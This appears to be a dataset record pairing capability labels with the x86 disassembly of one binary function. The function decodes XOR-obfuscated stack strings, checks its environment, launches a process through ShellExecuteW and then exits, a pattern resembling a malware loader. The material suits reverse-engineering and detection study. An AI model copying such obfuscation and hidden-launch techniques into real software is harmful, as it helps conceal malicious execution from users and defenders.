Function at 0x40d570
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x2c
mov dword [esp], 0xcfceebd5
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor eax, eax
xor ecx, ecx
nop
nop
movzx esi, byte [esp + ecx]
mov edi, eax
and edi, 4
mov edx, ecx
xor edx, 0xdaa3bb32
add edx, edi
xor edx, esi
mov esi, edx
xor esi, 0x76
and edx, 9
add edx, edx
sub edx, esi
add dl, 0x7c
mov byte [esp + ecx], dl
inc ecx
add eax, 2
cmp ecx, 7
jne 0x40d590
mov esi, dword [esp]
call fcn.0043fed0
test al, al
je 0x40d7e5
call fcn.004393d0
test al, al
je 0x40d7e0
mov eax, esi
and eax, 0x34a7ad07
mov ecx, esi
or esi, 0x34a7ad07
imul esi, eax
xor eax, 0x34a7ad07
and ecx, 0xcb5852f8
imul ecx, eax
add esi, ecx
mov eax, esi
shr eax, 7
mov ecx, eax
and ecx, esi
mov edx, ecx
not edx
or eax, esi
lea ecx, [ecx + edx*2]
inc ecx
and ecx, eax
mov edx, ecx
and edx, 0xf5ae3701
mov eax, edx
sub eax, ecx
mov esi, 0xf5ae3701
sub esi, eax
add eax, 0xa51c8fe
and esi, edx
mov edi, edx
not edi
and edi, eax
imul edi, esi
mov esi, eax
and esi, edx
or eax, edx
imul eax, esi
add eax, edi
mov esi, ecx
xor esi, 0xa51c8fe
add esi, ecx
and ecx, 0xa51c8fe
sub esi, edx
mov edi, ecx
not edi
and edi, esi
mov edx, esi
not edx
and edx, ecx
imul edx, edi
add edx, eax
mov eax, esi
and eax, ecx
or esi, ecx
imul esi, eax
add esi, edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esp], 0x4b2bee3f
mov eax, 0x1b
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, ecx
and edi, 2
mov edx, eax
and edx, 0x15
sub edx, edi
xor dl, byte [esp + eax - 0x1b]
add dl, 0xab
mov byte [esp + eax - 0x1b], dl
inc eax
dec ecx
cmp eax, 0x1f
jne 0x40d690
cmp esi, dword [esp]
jne 0x40d7bd
mov dword [esp], 0xf367f113
mov dword [esp + 4], 0xef38ed70
mov dword [esp + 8], 0xeb62e975
mov dword [esp + 0xc], 0xe7c6e579
mov dword [esp + 0x10], 0xe301e137
mov dword [esp + 0x14], 0x9d9c
mov byte [esp + 0x18], 0
xor eax, eax
xor ecx, ecx
nop
mov edx, eax
and edx, 0x18
mov esi, ecx
xor esi, 0x11e6b22c
add esi, edx
mov edi, esi
mov edx, esi
lea ebx, [esi + esi]
not ebx
add ebx, esi
mov ebp, ebx
and ebp, esi
xor esi, ebx
not esi
add esi, ebx
sub esi, ebp
movzx ebx, byte [esp + ecx]
and edi, ebx
xor edx, ebx
and esi, ebx
sub edx, ebx
add edx, edi
or edx, esi
mov esi, 0xdc
sub esi, edx
add edx, 3
and esi, 0xe7
and edx, 0x18
sub edx, esi
add dl, 0xe8
mov byte [esp + ecx], dl
inc ecx
add eax, 2
cmp ecx, 0x19
jne 0x40d6f0
mov dword [esp + 0x1c], 0x2392219f
mov dword [esp + 0x20], 0x27982581
mov dword [esp + 0x24], 0x3938
mov word [esp + 0x28], 0
mov byte [esp + 0x2a], 0
mov eax, 8
mov ecx, 0x77
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x14]
mov ebx, edx
not ebx
and ebx, eax
or ebx, ecx
add bl, bl
add bl, dl
movzx edx, bl
add edx, eax
add dl, 0xda
mov byte [esp + eax + 0x14], dl
inc eax
dec ecx
cmp eax, 0x17
jne 0x40d780
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0
push eax
push 0x448028
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x40d7cd
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.0040e6e0
test al, al
je 0x40d7e0
call fcn.004110e0
call fcn.0040ffb0
call fcn.00441230
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]